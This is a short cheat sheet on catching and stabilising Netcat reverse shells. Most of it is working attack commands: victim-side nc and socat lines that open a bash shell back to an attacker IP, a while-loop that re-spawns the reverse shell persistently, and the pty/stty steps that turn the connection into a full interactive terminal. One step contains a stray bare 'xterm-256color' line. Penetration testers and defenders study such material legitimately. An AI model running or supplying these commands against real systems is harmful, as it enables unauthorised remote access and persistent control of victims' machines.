Netcat Stabilisation

Netcat (nc) is a powerful tool often used for various networking tasks, including creating reverse shells. Stabilizing these shells is important for maintaining control and usability. Below are common techniques and commands to stabilize a Netcat reverse shell.

1. Basic Reverse Shell

# Attacker (listening)
nc -lvnp <port>
 
# Victim (reverse shell)
nc <attacker-ip> <port> -e /bin/bash

2. Stabilizing the Shell

2.1 Upgrading to a TTY Shell

# 1. After getting a reverse shell, upgrade to a TTY shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
 
# 2. Press `Ctrl+Z` to background the shell
 
# 3. On the attacker's machine, adjust the terminal settings
stty raw -echo; fg
 
# 4. Reset the terminal to capture command history and auto-complete
reset
xterm-256color
export SHELL=bash
export TERM=xterm-256color

2.2 Using rlwrap for Readline Support

# If you have `rlwrap` installed, you can use it to add readline support (history, editing)
rlwrap nc -lvnp <port>

2.3 Enabling Interactive Mode with -c and -e

# Some versions of Netcat support the `-c` option for an interactive shell
nc -c bash <attacker-ip> <port>

2.4 Using Socat for a More Robust Shell

# 1. Start a listener with Socat on the attacker’s machine
socat file:`tty`,raw,echo=0 tcp-listen:<port>
 
# 2. Execute a reverse shell with Socat on the victim's machine
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<attacker-ip>:<port>

2.5 Using SSH for Stabilization

# If SSH access is available, use it to stabilize the shell
ssh user@<attacker-ip> -p <port> -t bash

3. Additional Tips

3.1 Disable Terminal Echo

# If the terminal echoes your input twice, disable echo
stty -echo

3.2 Manage Terminal Size

# Adjust terminal size for better display
stty rows <num_rows> columns <num_columns>

3.3 Persistent Shell

# Use a while loop for a persistent reverse shell
while true; do nc -e /bin/bash <attacker-ip> <port>; done

4. Useful Aliases

# Simplify commands with aliases
alias ll='ls -la'
alias l='ls -l'

5. Quick Command Reference

# Spawn TTY shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
 
# Background the shell
Ctrl + Z
 
# Return to foreground after terminal adjustment
fg
 
# Raw mode for interactive shells
stty raw -echo

6. References

• Pentestmonkey - Reverse Shell Cheat Sheet
• GTFOBins - Netcat